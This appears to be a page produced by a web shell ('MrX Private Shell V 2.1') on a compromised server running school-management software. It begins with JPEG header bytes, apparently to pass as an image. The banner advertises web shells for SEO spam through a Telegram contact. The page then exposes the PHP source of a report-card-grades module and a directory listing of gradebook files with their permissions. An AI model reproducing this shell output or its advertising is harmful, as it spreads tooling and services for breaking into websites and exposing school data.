����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
//echo '<pre>'; var_dump($_REQUEST); echo '</pre>';
DrawHeader( ProgramTitle() );
if ( $_REQUEST['modfunc'] === 'update' )
{
if ( ! empty( $_REQUEST['values'] )
&& ! empty( $_POST['values'] )
&& AllowEdit()
&& $_REQUEST['tab_id'] )
{
foreach ( (array) $_REQUEST['values'] as $id => $columns )
{
// FJ fix SQL bug invalid numeric data.
if ( ( empty( $columns['SORT_ORDER'] ) || is_numeric( $columns['SORT_ORDER'] ) )
&& ( empty( $columns['BREAK_OFF'] ) || is_numeric( $columns['BREAK_OFF'] ) )
&& ( empty( $columns['GPA_VALUE'] ) || is_numeric( $columns['GPA_VALUE'] ) )
&& ( empty( $columns['UNWEIGHTED_GP'] ) || is_numeric( $columns['UNWEIGHTED_GP'] ) )
&& ( empty( $columns['GP_SCALE'] ) || is_numeric( $columns['GP_SCALE'] ) )
&& ( empty( $columns['GP_PASSING_VALUE'] ) || is_numeric( $columns['GP_PASSING_VALUE'] ) )
&& ( empty( $columns['HR_GPA_VALUE'] ) || is_numeric( $columns['HR_GPA_VALUE'] ) )
&& ( empty( $columns['HHR_GPA_VALUE'] ) || is_numeric( $columns['HHR_GPA_VALUE'] ) )
&& ( empty( $columns['HRS_GPA_VALUE'] ) || is_numeric( $columns['HRS_GPA_VALUE'] ) ) )
{
$table = ( $_REQUEST['tab_id'] !== 'new' ? 'report_card_grades' : 'report_card_grade_scales' );
if ( $id !== 'new' )
{
DBUpdate(
$table,
$columns,
[ 'ID' => (int) $id ]
);
}
// New: check for Title, Scale Value & Minimum Passing Grade.
elseif ( ( $columns['TITLE'] || $columns['TITLE'] == '0' )
&& ( $_REQUEST['tab_id'] !== 'new' ||
( $columns['GP_SCALE'] && is_numeric( $columns['GP_PASSING_VALUE'] ) ) ) )
{
$insert_columns = [ 'SCHOOL_ID' => UserSchool(), 'SYEAR' => UserSyear() ];
if ( $_REQUEST['tab_id'] !== 'new' )
{
$insert_columns['GRADE_SCALE_ID'] = (int) $_REQUEST['tab_id'];
}
DBInsert(
$table,
$insert_columns + $columns
);
}
}
else
{
$error[] = _( 'Please enter valid Numeric data.' );
}
}
}
// Unset modfunc & redirect URL.
RedirectURL( 'modfunc' );
}
if ( $_REQUEST['modfunc'] === 'remove'
&& AllowEdit() )
{
if ( $_REQUEST['tab_id'] !== 'new' )
{
if ( DeletePrompt( _( 'Report Card Grade' ) ) )
{
DBQuery( "DELETE FROM report_card_grades
WHERE ID='" . (int) $_REQUEST['id'] . "'" );
// Unset modfunc & ID & redirect URL.
RedirectURL( [ 'modfunc', 'id' ] );
}
}
elseif ( DeletePrompt( _( 'Report Card Grading Scale' ) ) )
{
$delete_sql = "DELETE FROM report_card_grades
WHERE GRADE_SCALE_ID='" . (int) $_REQUEST['id'] . "';";
$delete_sql .= "DELETE FROM report_card_grade_scales
WHERE ID='" . (int) $_REQUEST['id'] . "';";
DBQuery( $delete_sql );
// Unset modfunc & ID & redirect URL.
RedirectURL( [ 'modfunc', 'id' ] );
}
}
//FJ fix SQL bug invalid numeric data
echo ErrorMessage( $error );
if ( ! $_REQUEST['modfunc'] )
{
if ( User( 'PROFILE' ) === 'admin' )
{
$grade_scales_RET = DBGet( "SELECT ID,TITLE
FROM report_card_grade_scales
WHERE SCHOOL_ID='" . UserSchool() . "'
AND SYEAR='" . UserSyear() . "'
ORDER BY SORT_ORDER IS NULL,SORT_ORDER", [], [ 'ID' ] );
if ( ! isset( $_REQUEST['tab_id'] )
|| $_REQUEST['tab_id'] == ''
|| $_REQUEST['tab_id'] !== 'new'
&& empty( $grade_scales_RET[$_REQUEST['tab_id']] ) )
{
if ( ! empty( $grade_scales_RET ) )
{
$_REQUEST['tab_id'] = key( $grade_scales_RET ) . '';
}
else
{
$_REQUEST['tab_id'] = 'new';
}
}
}
else
{
$course_period_RET = DBGet( "SELECT GRADE_SCALE_ID,DOES_BREAKOFF,TEACHER_ID
FROM course_periods
WHERE COURSE_PERIOD_ID='" . UserCoursePeriod() . "'" );
if ( ! $course_period_RET[1]['GRADE_SCALE_ID'] )
{
ErrorMessage( [ _( 'This course is not graded.' ) ], 'fatal' );
}
$grade_scales_RET = DBGet( "SELECT ID,TITLE
FROM report_card_grade_scales
WHERE ID='" . (int) $course_period_RET[1]['GRADE_SCALE_ID'] . "'", [], [ 'ID' ] );
if ( $course_period_RET[1]['DOES_BREAKOFF'] == 'Y' )
{
$teacher_id = $course_period_RET[1]['TEACHER_ID'];
$gradebook_config = ProgramUserConfig( 'Gradebook', $teacher_id );
}
$_REQUEST['tab_id'] = key( $grade_scales_RET ) . '';
}
$tabs = [];
$grade_scale_select = [];
foreach ( (array) $grade_scales_RET as $id => $grade_scale )
{
$tabs[] = [ 'title' => $grade_scale[1]['TITLE'], 'link' => 'Modules.php?modname=' . $_REQUEST['modname'] . '&tab_id=' . $id ];
$grade_scale_select[$id] = $grade_scale[1]['TITLE'];
}
if ( $_REQUEST['tab_id'] !== 'new' )
{
$sql = "SELECT ID,TITLE,SORT_ORDER,GPA_VALUE,BREAK_OFF,COMMENT,GRADE_SCALE_ID,UNWEIGHTED_GP
FROM report_card_grades
WHERE GRADE_SCALE_ID='" . (int) $_REQUEST['tab_id'] . "'
AND SYEAR='" . UserSyear() . "'
AND SCHOOL_ID='" . UserSchool() . "'
ORDER BY BREAK_OFF IS NOT NULL DESC,BREAK_OFF DESC,SORT_ORDER IS NULL,SORT_ORDER";
$sql_count = "SELECT COUNT(1)
FROM report_card_grades
WHERE GRADE_SCALE_ID='" . (int) $_REQUEST['tab_id'] . "'
AND SYEAR='" . UserSyear() . "'
AND SCHOOL_ID='" . UserSchool() . "'";
$sql .= SQLLimitForList( $sql_count );
$functions = [
'TITLE' => '_makeTextInput',
'BREAK_OFF' => '_makeGradesInput',
'SORT_ORDER' => '_makeTextInput',
'GPA_VALUE' => '_makeGradesInput',
'UNWEIGHTED_GP' => '_makeGradesInput',
'COMMENT' => '_makeTextInput',
];
$LO_columns = [
'TITLE' => _( 'Title' ),
'BREAK_OFF' => _( 'Breakoff' ),
'GPA_VALUE' => _( 'GPA Value' ),
'UNWEIGHTED_GP' => _( 'Unweighted GP Value' ),
'SORT_ORDER' => _( 'Order' ),
'COMMENT' => _( 'Comment' ),
];
if ( User( 'PROFILE' ) === 'admin' && AllowEdit() )
{
$functions += [ 'GRADE_SCALE_ID' => '_makeGradesInput' ];
$LO_columns += [ 'GRADE_SCALE_ID' => _( 'Grade Scale' ) ];
}
$link['add']['html'] = [
'TITLE' => _makeTextInput( '', 'TITLE' ),
'BREAK_OFF' => _makeGradesInput( '', 'BREAK_OFF' ),
'GPA_VALUE' => _makeGradesInput( '', 'GPA_VALUE' ),
'UNWEIGHTED_GP' => _makeGradesInput( '', 'UNWEIGHTED_GP' ),
'SORT_ORDER' => _makeTextInput( '', 'SORT_ORDER' ),
'COMMENT' => _makeTextInput( '', 'COMMENT' ),
];
$link['remove']['link'] = 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=remove&tab_id=' . $_REQUEST['tab_id'];
$link['remove']['variables'] = [ 'id' => 'ID' ];
if ( User( 'PROFILE' ) === 'admin' )
{
$tabs[] = [
'title' => button( 'add', '', '', 'smaller' ),
'link' => 'Modules.php?modname=' . $_REQUEST['modname'] . '&tab_id=new',
];
}
}
else
{
$sql = "SELECT ID,TITLE,GP_SCALE,GP_PASSING_VALUE,COMMENT,
HHR_GPA_VALUE,HR_GPA_VALUE,HRS_GPA_VALUE,SORT_ORDER,
'' AS HONOR_ROLL_GPA_MIN
FROM report_card_grade_scales
WHERE SCHOOL_ID='" . UserSchool() . "'
AND SYEAR='" . UserSyear() . "'
ORDER BY SORT_ORDER IS NULL,SORT_ORDER,ID";
$functions = [
'TITLE' => '_makeTextInput',
'GP_SCALE' => '_makeGradesInput',
'GP_PASSING_VALUE' => '_makeGradesInput',
'COMMENT' => '_makeTextInput',
'HONOR_ROLL_GPA_MIN' => '_makeHonorRollGPAMinInputs',
'SORT_ORDER' => '_makeTextInput',
];
$LO_columns = [
'TITLE' => _( 'Grade Scale' ),
'GP_SCALE' => _( 'Scale Value' ),
'GP_PASSING_VALUE' => _( 'Minimum Passing Grade' ),
'COMMENT' => _( 'Comment' ),
'HONOR_ROLL_GPA_MIN' => _( 'Honor Roll GPA Min' ),
'SORT_ORDER' => _( 'Sort Order' ),
];
$link['add']['html'] = [
'TITLE' => _makeTextInput( '', 'TITLE' ),
'GP_SCALE' => _makeGradesInput( '', 'GP_SCALE' ),
'GP_PASSING_VALUE' => _makeGradesInput( '', 'GP_PASSING_VALUE' ),
'COMMENT' => _makeTextInput( '', 'COMMENT' ),
'HONOR_ROLL_GPA_MIN' => _makeHonorRollGPAMinInputs( '', 'HONOR_ROLL_GPA_MIN' ),
'SORT_ORDER' => _makeTextInput( '', 'SORT_ORDER' ),
];
$link['remove']['link'] = 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=remove&tab_id=new';
$link['remove']['variables'] = [ 'id' => 'ID' ];
$tabs[] = [
'title' => button( 'add', '', '', 'smaller' ),
'link' => 'Modules.php?modname=' . $_REQUEST['modname'] . '&tab_id=new',
];
}
$LO_ret = DBGet( $sql, $functions );
echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=update&tab_id=' . $_REQUEST['tab_id'] ) . '" method="POST">';
DrawHeader( '', SubmitButton() );
echo '<br />';
$LO_options = [ 'search' => false,
'header' => WrapTabs( $tabs, 'Modules.php?modname=' . $_REQUEST['modname'] . '&tab_id=' . $_REQUEST['tab_id'] ) ];
if ( $_REQUEST['tab_id'] !== 'new' )
{
ListOutput(
$LO_ret,
$LO_columns,
'Grade',
'Grades',
$link,
[],
// @since 10.9 Add pagination for list > 1000 results
$LO_options + [ 'pagination' => true ]
);
}
else
{
ListOutput( $LO_ret, $LO_columns, 'Grade Scale', 'Grade Scales', $link, [], $LO_options );
}
echo '<br /><div class="center">' . SubmitButton() . '</div>';
echo '</form>';
}
/**
* @param $value
* @param $name
*/
function _makeGradesInput( $value, $name )
{
global $THIS_RET,
$grade_scale_select,
$teacher_id,
$gradebook_config;
$id = ! empty( $THIS_RET['ID'] ) ? $THIS_RET['ID'] : 'new';
if ( $name === 'GRADE_SCALE_ID' )
{
return SelectInput(
$value,
'values[' . $id . '][' . $name . ']',
'',
$grade_scale_select,
false
);
}
if ( $name === 'COMMENT' )
{
$extra = 'size=15 maxlength=100';
}
elseif ( $name === 'BREAK_OFF'
&& $teacher_id
&& ! empty( $THIS_RET['ID'] )
&& isset( $gradebook_config[UserCoursePeriod() . '-' . $THIS_RET['ID']] )
&& $gradebook_config[UserCoursePeriod() . '-' . $THIS_RET['ID']] != '' )
{
// Breakoff configured by Teacher.
return '<span style="color:blue">' .
$gradebook_config[UserCoursePeriod() . '-' . $THIS_RET['ID']] . '%</span>';
}
else
{
$extra = ' type="number" min="0" max="99999" step="0.01"';
if ( $value )
{
$value = number_format( (float) $value, 2, '.', '' );
}
if ( $id !== 'new'
&& ( $name === 'GP_SCALE'
|| $name === 'GP_PASSING_VALUE' ) )
{
$extra .= ' required';
}
}
if ( $name === 'BREAK_OFF'
&& $value !== '' )
{
// Append "%" to displayed Breakoff value.
$value = [ $value, $value . '%' ];
}
return TextInput(
$value,
'values[' . $id . '][' . $name . ']',
'',
$extra
);
}
/**
* Make Honor Roll GPA Min Inputs
* - High Honor Roll GPA Min
* - Honor Roll GPA Min
* - Honor Roll by Subject GPA Min
*
* Local function
* DBGet() callback
*
* @since 11.7
*
* @param string $value Value.
* @param string $name Column name. Defaults to 'HONOR_ROLL_GPA_MIN'.
*
* @return string Honor Roll GPA Min Inputs
*/
function _makeHonorRollGPAMinInputs( $value, $name = 'HONOR_ROLL_GPA_MIN' )
{
global $THIS_RET;
$id = ! empty( $THIS_RET['ID'] ) ? $THIS_RET['ID'] : 'new';
$columns = [
'HHR_GPA_VALUE' => _( 'High Honor Roll GPA Min' ),
'HR_GPA_VALUE' => _( 'Honor Roll GPA Min' ),
'HRS_GPA_VALUE' => _( 'Honor Roll by Subject GPA Min' ),
];
$extra = ' type="number" min="0" max="99999" step="0.01"';
$return = '';
foreach ( $columns as $name => $title )
{
$value = '';
if ( $id !== 'new' )
{
$value = $THIS_RET[ $name ];
}
if ( $value )
{
$value = number_format( (float) $value, 2, '.', '' );
}
$return .= TextInput(
$value,
'values[' . $id . '][' . $name . ']',
$title,
$extra
);
if ( $id === 'new'
|| is_null( $value )
|| trim( $value ) == '' )
{
$return .= '<br>';
}
}
// Add HTML inside colorBox on mobile devices using the responsive table 2 colorBox class.
return '<div id="divHonorRoll' . $id . '" class="rt2colorBox">' . $return . '</div>';
}
/**
* @param $value
* @param $name
*/
function _makeTextInput( $value, $name )
{
global $THIS_RET;
$id = ! empty( $THIS_RET['ID'] ) ? $THIS_RET['ID'] : 'new';
if ( $name === 'TITLE' )
{
if ( $_REQUEST['tab_id'] === 'new' )
{
// Scale Title.
$extra = 'maxlength=100';
}
else
{
$extra = 'size=4 maxlength=5';
}
if ( $id !== 'new' )
{
$extra .= ' required';
}
}
elseif ( $name === 'COMMENT' )
{
$extra = 'size=15 maxlength=1000';
}
elseif ( $name === 'SORT_ORDER' )
{
$extra = ' type="number" min="-9999" max="9999"';
}
else
{
$extra = 'size=4 maxlength=5';
}
return TextInput(
$value,
'values[' . $id . '][' . $name . ']',
'',
$extra
);
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| includes | Folder | 0755 |
|
|
| AnomalousGrades.php | File | 7 KB | 0644 |
|
| Assignments-new.php | File | 16.22 KB | 0644 |
|
| Assignments.php | File | 33 KB | 0644 |
|
| Configuration.php | File | 14.5 KB | 0644 |
|
| EditHistoryMarkingPeriods.php | File | 5.47 KB | 0644 |
|
| EditReportCardGrades.php | File | 16.56 KB | 0644 |
|
| FinalGrades.php | File | 18.44 KB | 0644 |
|
| GPARankList.php | File | 2.71 KB | 0644 |
|
| GradeBreakdown.php | File | 5.16 KB | 0644 |
|
| GradebookBreakdown.php | File | 13.13 KB | 0644 |
|
| Grades.php | File | 42.87 KB | 0644 |
|
| HonorRoll.php | File | 3.63 KB | 0644 |
|
| InputFinalGrades.php | File | 48.09 KB | 0644 |
|
| MassCreateAssignments.php | File | 18.08 KB | 0644 |
|
| Menu.php | File | 3.19 KB | 0644 |
|
| ProgressReports.php | File | 18.06 KB | 0644 |
|
| ReportCardCommentCodes.php | File | 8.18 KB | 0644 |
|
| ReportCardComments.php | File | 14.78 KB | 0644 |
|
| ReportCardGrades.php | File | 12 KB | 0644 |
|
| ReportCards.php | File | 2.98 KB | 0644 |
|
| StudentAssignments.php | File | 1.74 KB | 0644 |
|
| StudentGrades.php | File | 26.83 KB | 0644 |
|
| TeacherCompletion.php | File | 5.86 KB | 0644 |
|
| Transcripts.php | File | 3.22 KB | 0644 |
|